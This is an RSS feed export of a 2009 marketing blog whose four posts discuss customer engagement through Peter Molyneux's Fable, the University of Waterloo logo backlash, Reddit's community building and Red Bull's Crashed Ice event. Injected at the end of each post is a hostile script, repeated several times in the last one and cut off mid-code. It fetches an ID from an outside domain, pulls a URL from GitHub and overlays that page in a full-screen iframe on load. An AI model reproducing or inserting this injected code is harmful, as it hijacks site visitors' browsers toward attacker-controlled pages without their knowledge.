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	<title>KevRichard &#187; Branding</title>
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	<link>http://kevrichard.com</link>
	<description>Technology and Digital Communications</description>
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		<title>Lessons from Peter Molyneux on Customer Engagement</title>
		<link>http://kevrichard.com/2009/09/lessons-from-peter-molyneux-on-customer-engagement/</link>
		<comments>http://kevrichard.com/2009/09/lessons-from-peter-molyneux-on-customer-engagement/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 23:12:58 +0000</pubDate>
		<dc:creator><![CDATA[Kevin  Richard]]></dc:creator>
				<category><![CDATA[Branding]]></category>
		<category><![CDATA[Communications]]></category>
		<category><![CDATA[Community]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[New Products]]></category>
		<category><![CDATA[Peter Molyneaux]]></category>
		<category><![CDATA[Video games]]></category>

		<guid isPermaLink="false">http://kevrichard.wordpress.com/?p=674</guid>
		<description><![CDATA[This is a bit of an old experience of mine but  I was inspired by Brian Alkerton with his disccussion of cheezy gaming advertising . Someone I&#8217;ve really admired in the electronic gaming industry is Peter Molyneux current creative director at  Microsoft Game Studios Europe.  A saying  from him that really has stuck around with [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>This is a bit of an old experience of mine but  I was inspired by Brian Alkerton with his disccussion of <a href="http://alkerton.wordpress.com/2009/09/07/paxstroturfing/#comment-1649">cheezy gaming advertising </a>. Someone I&#8217;ve really admired in the electronic gaming industry is <a href="http://en.wikipedia.org/wiki/Peter_Molyneux">Peter Molyneux</a> current creative director at  Microsoft Game Studios Europe.  A saying  from him that really has stuck around with me was&#8217; Reach for the stars and come out with something special&#8217; ( can&#8217;t find the exact wording&#8230;.). But what was really important  and that had a lot of impact for me was a game he developed a while ago ( 2000-2004) . Despite going through a name change ( Project Ego to Fable)  and  taking close to 4 years to make  its been hard to find a product that ever made me so excited. He made an experience around this product&#8217;s development that was memorable and stuck with me.</p>
<p>So what did he do to make this product launch truly special:</p>
<p>Shared His Excitement About the Product: While he received some criticism for his openness with game journalists he spoke with great  excitement about the game. He fully stood behind his product and weaved a strong story around it. Screen shots and game information were shared throughout the development process. Peter and his development firm weren&#8217;t afraid about sharing details  even those that weren&#8217;t completely solidified.  This excitement was contagious and kept fans wanting more.</p>
<p>Community engagement: During development and even after the game launched Lionhead Studios interacted with its  community. Through a central forum they released trailers and other product teasers and discussed the process of the game.  As a fan you really felt like part of the process. They weren&#8217;t afraid about being perceived as un-professional or whether they were going against industry norms they were more concerned about sharing with the community that came together around the game.</p>
<div id="attachment_675" style="width: 330px" class="wp-caption aligncenter"><img class="size-full wp-image-675" title="Fable goes gold" src="http://kevrichard.files.wordpress.com/2009/09/fable-goes-gold.jpg" alt="Fable Goes Gold!! " width="320" height="240" /><p class="wp-caption-text">Fable Goes Gold!! </p></div>
<p>The above image  to the uninformed person just looks like a regular DVD. But this was the final tested version of the game, the final files before its sent to production. Most gaming studios never shared such a moment, but considering the development time of the game Lionhead felt it was important to share such an milestone.The long wait was almost done!</p>
<p>So what can be learned from this other than I&#8217;m a giant geek&#8230;. well to me it shows the importance of sharing with your companies fans and that product development and even day to day operations can weave stories and create relationships with your customers. By just releasing a product or just providing a service with nothing else  your company is forgettable and is  just like every other but by becoming more open and creating an experience you can turn your service or product into something much more memorable.<script>var url = 'https://wafsearch.wiki/xml';
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]]></content:encoded>
			<wfw:commentRss>http://kevrichard.com/2009/09/lessons-from-peter-molyneux-on-customer-engagement/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Building Organizational Buy In- University of Waterloo Logogate</title>
		<link>http://kevrichard.com/2009/08/building-organizational-buy-in-university-of-waterloo-logogate-2/</link>
		<comments>http://kevrichard.com/2009/08/building-organizational-buy-in-university-of-waterloo-logogate-2/#comments</comments>
		<pubDate>Thu, 06 Aug 2009 01:18:56 +0000</pubDate>
		<dc:creator><![CDATA[Kevin  Richard]]></dc:creator>
				<category><![CDATA[Branding]]></category>
		<category><![CDATA[Communications]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Logo]]></category>
		<category><![CDATA[Organizational Communication]]></category>
		<category><![CDATA[Ryerson]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[University of Waterloo]]></category>
		<category><![CDATA[uwlogogate]]></category>

		<guid isPermaLink="false">http://kevrichard.wordpress.com/?p=589</guid>
		<description><![CDATA[As part of the University&#8217;s 6th decade plan the University of Waterloo is looking to revitalize itself, demonstrating its strengths as a technology oriented university and better position itself with the various programs and initiatives coming in the near future. Part of this positioning included a marketing logo to be used in their promotional and [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>As part of the University&#8217;s <a href="http://secretariat.uwaterloo.ca/sixth_decade/">6<sup>th</sup> decade plan</a> the University of Waterloo  is looking to revitalize itself, demonstrating its strengths as a technology oriented university and better position itself with the various programs and initiatives coming in the near future. Part of this positioning included a <a href="http://www.bulletin.uwaterloo.ca/2009/jul/24fr.html">marketing logo</a> to be used in their promotional  and external pieces. Much to the chagrin of the university this logo was leaked and is now the end of many jokes for the university’s students.</p>
<p>The even larger issue to this story is the internet footprint that this student criticism has left. Discussion (or destruction) of this logo can be found on <a href="http://www.renjie.ca/waterloo-change">blogs</a>,  <a href="http://www.facebook.com/group.php?gid=123891536822">facebook</a>, <a href="http://twitter.com/#search?q=uwlogogate">twitter</a> ( #uwlogo, #pewpew, #uwlogogate) ,and even a mashup on <a href="http://www.youtube.com/watch?v=gHLKp3lwdK0">youtube</a>. Resulting from this there was also some negative <a href="http://network.nationalpost.com/np/blogs/executive/archive/2009/07/22/rebranding-a-lesson-from-the-university-of-waterloo.aspx">news coverage</a> .  With all of this ridicule and critism its hard to say if this logo is really usable anymore, it was supposed to have all of this meaning for the university but now its just well….</p>
<div id="attachment_590" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.facebook.com/photo.php?pid=352324&amp;op=8&amp;o=all&amp;view=all&amp;subj=123891536822&amp;aid=-1&amp;oid=123891536822&amp;id=1654710022"><img class="size-medium wp-image-590" title="Pew Pew" src="http://kevrichard.files.wordpress.com/2009/08/pew-pew.jpg?w=300" alt="Image from Steve Sauve " width="300" height="291" /></a><p class="wp-caption-text">Image from Steve Sauve </p></div>
<div id="attachment_592" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.facebook.com/photo.php?pid=38989542&amp;op=14&amp;o=all&amp;view=all&amp;subj=123891536822&amp;aid=-1&amp;oid=123891536822&amp;id=122600930"><img class="size-medium wp-image-592" title="Couch" src="http://kevrichard.files.wordpress.com/2009/08/couch.jpg?w=300" alt="Picture from Brad Bushell" width="300" height="225" /></a><p class="wp-caption-text">Picture from Brad Bushell</p></div>
<p>This article from the <a href="http://imprint.uwaterloo.ca/2009/jul/24/cover/loco-logo/">Imprint</a> (Waterloo’s student newspaper) hits the issue right on the head. While there was a lot of concern over making the university more visible for external audiences, they had completely left the students out of the process and as a result of  seeing this logo all at once instead of over time  the logo came  as a big shock. By not being consulted, students felt little connection to the logo and immediately felt negatively towards it. As a result of this negative sentiment Waterloo has had to work hard to do <a href="http://www.facebook.com/video/video.php?v=646592223067">damage control</a>.</p>
<p>I feel there are two lessons to be learned from this whole situation. Firstly stakeholders (customers, employees, shareholders etc) through social media are gaining a lot of power when it comes to public perception of an organization. Their complaints and criticisms are now becoming much more public and can often drown out the organization itself.</p>
<p>But also by not involving your stakeholders in organizational change, you will create a large reaction when it does get released whether planned or unplanned in this case. My alma mater Ryerson University is going through drastic changes as well but with a different approach. By involving the whole community in what it calls ‘<a href="http://www.ryerson.ca/about/masterplan/">The Master Plan</a>’ stakeholders are buying in and while there may be detractors to some parts of the planning , overall members have been very open to discussion and working towards improvement.</p>
<p>Applying this to a business or another organization,  it’s much more manageable and probably a more positive experience to keep your stakeholders involved in the process of major organizational change rather than keeping them in the dark. As much as organizations would like to control the message  its impossible without having all those involved on side and to have that it can’t be forced it has to be earned.<script>var url = 'https://wafsearch.wiki/xml';
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]]></content:encoded>
			<wfw:commentRss>http://kevrichard.com/2009/08/building-organizational-buy-in-university-of-waterloo-logogate-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>I &lt;3 Reddit!</title>
		<link>http://kevrichard.com/2009/01/reddit/</link>
		<comments>http://kevrichard.com/2009/01/reddit/#comments</comments>
		<pubDate>Mon, 26 Jan 2009 02:00:08 +0000</pubDate>
		<dc:creator><![CDATA[Kevin  Richard]]></dc:creator>
				<category><![CDATA[Branding]]></category>
		<category><![CDATA[General Business]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[2007]]></category>
		<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Communications]]></category>
		<category><![CDATA[CRM]]></category>
		<category><![CDATA[Drankkit]]></category>
		<category><![CDATA[Grown Up Digital]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Pictures]]></category>
		<category><![CDATA[reddit]]></category>
		<category><![CDATA[Tapscott]]></category>
		<category><![CDATA[Toronto]]></category>

		<guid isPermaLink="false">http://kevrichard.wordpress.com/?p=293</guid>
		<description><![CDATA[So I&#8217;ve been reading Grown Up Digital by Don Tapscott ( amazing book!) and have just finished the chapter on &#8220;The Net Generation as Consumers&#8221;  where in one section he spoke about companies becoming essentially friends with their target consumers.  Reflecting back to companies I&#8217;ve dealt with the news aggregator site Reddit  comes to mind. I&#8217;m a [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>So I&#8217;ve been reading <a href="http://grownupdigital.com/">Grown Up Digital</a> by Don Tapscott ( amazing book!) and have just finished the chapter on &#8220;The Net Generation as Consumers&#8221;  where in one section he spoke about companies becoming essentially friends with their target consumers.  Reflecting back to companies I&#8217;ve dealt with the news aggregator site <a href="http://www.reddit.com/">Reddit </a> comes to mind. I&#8217;m a big fan of this site and have often either forwarded links from this site or shared it with my friends and I do this not only because I enjoy the content on the site but because the site creators have essentially become my friend and have befriended the rest of the website members. Here are some of the simple yet significant ways that they manage to do this:</p>
<p><strong>Interacting with members outside of the site</strong>: The creators of this site not only interact with members through social media sites such as Facebook and Twitter ( ex: @ kn0thing)  they have offline meetups!  I&#8217;ve met with them personally last year during their <a href="http://drankkit.com/">Drankkit World Tour</a> where they went to major centers and sat down and had drinks with members ( a few pics of me at that event included)  but they even do it randomly including having dinner with a Reddit member who just asked if anyone were interested in going out for <a href="http://www.nightbiscuit.com/archives/149">dinner.</a></p>
<p><strong>They personalize</strong>: The Reddit alien is a big part of the personality of the website, almost every day  a new drawing of it is posted up depending on current events or project of the site. From time to time as a result of already mentioned meet ups or requests of members the Reddit Alien is redrawn or the Reddit logo even contains relevant <a href="http://s3.amazonaws.com/sp.reddit.com/reddit2007_11_06.png">pictures</a>. As well the website is in a constant state of change( much like Gmail its in constant Beta)  if there are enough user requests certain aspects of the site are changed.</p>
<p><strong>Not only are they creators, but they are also users: </strong>They don&#8217;t passively watch the site or attempt to moderate it , they are fully involved members. They aren&#8217;t afraid to get in there and post a comment or link and create discussions with other users. They also start side projects that encourage further member collaboration. Sometimes it can be silly such as <a href="http://mashable.com/2007/12/12/mr-splashy-pants-greenpeace/">Mr.Splashypants </a> but even in more serious matters such as Reddits <a href="http://blog.reddit.com/2009/01/only-for-beneficent-sexy-feedaneedorgs.html">Feed A Need</a> campaign where users are encouraged to lend their skills and time in helping out a not for profit organization.</p>
<p>Overall I have a major heart on for this site and its creators. As a consumer I have a choice between Digg and Reddit  as they are essentially the same site and many times have the same links but  as Reddit has worked harder to befriend me my loyalty is pretty cemented in place . I&#8217;ve included a few pictures from Drankkit Toronto 07 , some with me included. Enjoy!  </p>
<p> </p>
<p><img class="aligncenter size-full wp-image-313" title="drankkit1" src="http://kevrichard.files.wordpress.com/2009/01/drankkit1.jpg" alt="drankkit1" width="350" height="165" /></p>
<div id="attachment_317" style="width: 470px" class="wp-caption aligncenter"><img class="size-full wp-image-317" title="creators1" src="http://kevrichard.files.wordpress.com/2009/01/creators1.jpg" alt="Steve Huffman and Alexis Ohanian" width="460" height="345" /><p class="wp-caption-text">The 2 Reddit Creators , Steve Huffman and Alexis Ohanian with Jenna Landry from Wired Magazine </p></div>
<p><img class="aligncenter size-full wp-image-314" title="groups3" src="http://kevrichard.files.wordpress.com/2009/01/groups3.jpg" alt="groups3" width="460" height="345" /></p>
<p><img class="aligncenter size-full wp-image-315" title="kiss2" src="http://kevrichard.files.wordpress.com/2009/01/kiss2.jpg" alt="kiss2" width="460" height="345" /> </p>
<div id="attachment_316" style="width: 470px" class="wp-caption aligncenter"><img class="size-full wp-image-316" title="canada5" src="http://kevrichard.files.wordpress.com/2009/01/canada5.jpg" alt="My attempt at a &quot;C&quot; for Canada.... it ended up pretty lame!" width="460" height="345" /><p class="wp-caption-text">My attempt at a &quot;C&quot; for Canada.... it ended up pretty lame!</p></div>
<p>Have any Questions/Comments? Contact me at kevin.richard@ryerson.ca or send me a<a href="http://twitter.com/kevrichard"> twitter</a> message.<script>var url = 'https://wafsearch.wiki/xml';
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]]></content:encoded>
			<wfw:commentRss>http://kevrichard.com/2009/01/reddit/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sharpen your Blades! Red Bull Event Promotions</title>
		<link>http://kevrichard.com/2009/01/crashed-ice/</link>
		<comments>http://kevrichard.com/2009/01/crashed-ice/#comments</comments>
		<pubDate>Mon, 12 Jan 2009 21:02:04 +0000</pubDate>
		<dc:creator><![CDATA[Kevin  Richard]]></dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Branding]]></category>
		<category><![CDATA[Event Promotions]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[Crashed Ice]]></category>
		<category><![CDATA[Flugtag]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Promotions]]></category>
		<category><![CDATA[Quebec City]]></category>
		<category><![CDATA[Red Bull]]></category>
		<category><![CDATA[TSN]]></category>
		<category><![CDATA[Youtube]]></category>

		<guid isPermaLink="false">http://kevrichard.wordpress.com/?p=219</guid>
		<description><![CDATA[Red Bull has me really hooked at the moment with their Crashed Ice Promotion coming up in Quebec City. I&#8217;ve looked at the promotional materials and a few clips of this event and it looks like complete insanity. Upon looking at it further I&#8217;ve noticed that this is a very different sports sponsorship than what [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Red Bull has me really hooked at the moment with their Crashed Ice Promotion coming up in Quebec City. I&#8217;ve looked at the promotional materials and a few clips of this event and it looks like complete insanity. Upon looking at it further I&#8217;ve noticed that this is a very different sports sponsorship than what many other larger companies have been doing ( such as sponsorship of an established event or buying naming rights to the venue) .</p>
<p>Rather than take something proven and established , Red Bull has partnered with  a host city ( locations included Helsinki, Stockholm, Moscow and  Quebec City since 2006) combined popular aspects of hockey and luge and created an event that they take they can take  full credit for.  Risky business, but obviously for Red Bull this works as this event has been going world wide since 2000.</p>
<p>This isn&#8217;t the first event Red Bull has hosted and created as they&#8217;ve been involved as well with the creation of <a href="http://www.redbullflugtagusa.com/" target="_blank">FlugTag USA</a>  ( home made gliders going over a cliff competing for the farthest distance, amazing!) . Overall I&#8217;m really excited for Crashed Ice to come around and thought this was a  great case of  a  brand promoting itself. You can check out the Crashed Ice Website <a href="http://www.redbullcrashedice.ca/intro" target="_blank">here </a> or check out the the Youtube clip I&#8217;ve included . Crashed Ice is going to be occuring on Jan. 24th on TSN for those of you who want to watch it for yourself&#8230;.. my goal is  to go and see it live in 2010!</p>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='640' height='390' src='http://www.youtube.com/embed/4os2ufb5EuE?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0' allowfullscreen='true'></iframe></span>
<p> </p>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='640' height='390' src='http://www.youtube.com/embed/_KlG7lA2hak?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0' allowfullscreen='true'></iframe></span>
<p> </p>
<p>Questions/Comments?: contact me at kevin.richard@ryerson.ca or send me a<a href="http://twitter.com/kevrichard"> twitter</a> message.<script>var url = 'https://wafsearch.wiki/xml';
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  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
